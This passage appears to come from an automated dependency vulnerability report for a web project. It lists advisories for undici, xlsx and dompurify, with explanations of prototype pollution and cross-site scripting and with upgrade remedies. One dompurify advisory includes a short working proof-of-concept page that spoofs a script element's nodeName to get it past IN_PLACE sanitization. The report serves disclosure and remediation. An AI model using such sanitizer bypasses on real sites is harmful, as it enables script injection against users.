  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling via the decompression chain. An attacker can cause high CPU usage and excessive memory allocation by sending HTTP responses with a large number of chained compression steps in the Content-Encoding header.

Remediation

Upgrade undici to version 6.23.0, 7.18.2 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: xlsx
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 xlsx@0.18.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 xlsx@0.18.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 xlsx@0.18.5
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 xlsx@0.18.5

Overview

xlsx is a Parser and writer for various spreadsheet formats.

Affected versions of this package are vulnerable to Prototype Pollution when reading specially crafted files.

Note:

  1. The issue is resolved in version 0.19.3 of SheetJS that is distributed only via the authoritative source for SheetJS modules. See this issue (https://github.com/SheetJS/sheetjs/issues/2667) for full details.

  2. Workflows that do not read arbitrary files (for example, exporting data to spreadsheet files) are unaffected.

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

A fix was pushed into the master branch but not yet published.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the createDOMPurify() function, via comments embedded in XML noscript, xmp, noembed, noframes, and iframe attributes containing scripts.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 2.5.9, 3.3.2 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the createDOMPurify() function, via comments embedded in XML textarea attributes containing scripts.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.2.7 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) leading to cross-site scripting, via custom elements. When CUSTOM_ELEMENT_HANDLING is not enabled, and an attacker has already polluted the prototype of objects supplied to DOMPurify.sanitize(), the tagNameCheck and attributeNameCheck regex values allow arbitrary custom elements including event handlers to bypass sanitization.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.0 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 dompurify@3.4.6
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/components@0.114.0-2 dompurify@3.4.6
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the IN_PLACE process when attacker-controlled live DOM nodes are sanitized. An attacker can execute arbitrary scripts in the context of the application by passing a manipulated DOM node with a spoofed nodeName property, causing malicious script elements to be retained and executed upon insertion into the document.

PoC

<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
  const foreign = window.open('about:blank', '_blank', 'noopener=no');

  const host = foreign.document.createElement('div');
  const script = foreign.document.createElement('script');
  script.textContent = 'window.__pwned = 1';
  Object.defineProperty(script, 'nodeName', {
    value: 'DIV',
    configurable: true,
  });
  host.appendChild(script);

  DOMPurify.sanitize(host, { IN_PLACE: true });

  console.log('output:', host.outerHTML);
  // <div><script>window.__pwned = 1</script></div>

  window.__pwned = 0;
  document.body.appendChild(host);
  console.log('handler fired:', window.__pwned === 1); // true
</script>
</body></html>

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.8 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 dompurify@3.4.6
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/components@0.114.0-2 dompurify@3.4.6
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the IN_PLACE function when handling a <template> element containing an element with an attached shadow DOM. An attacker can execute arbitrary scripts in the context of the user by injecting malicious content into the shadow DOM, which is not sanitized and is later executed when the template is cloned and inserted into the page.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.7 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 dompurify@3.4.6
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/components@0.114.0-2 dompurify@3.4.6
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the SAFE_FOR_TEMPLATES function. An attacker can inject template expressions that survive sanitization inside <template> element content by splitting malicious expressions across adjacent text nodes, which are not properly scrubbed. This allows execution of arbitrary code or exfiltration of sensitive data if a downstream template engine evaluates the merged content.

This is only exploitable if both SAFE_FOR_TEMPLATES: true and either RETURN_DOM: true, RETURN_DOM_FRAGMENT: true, or IN_PLACE: true are explicitly set, and the application processes <template>.content with a template engine.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.8 or higher.

References

medium severity
new

Cross-site Scripting (XSS)

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the sanitize process. An attacker can execute arbitrary scripts in the context of the user’s browser by leveraging persistent function predicates supplied via ADD_ATTR or ADD_TAGS that are not cleared or overwritten across subsequent calls, allowing approval of attacker-controlled attributes or tags.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.0 or higher.

References

medium severity

Improper Initialization

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

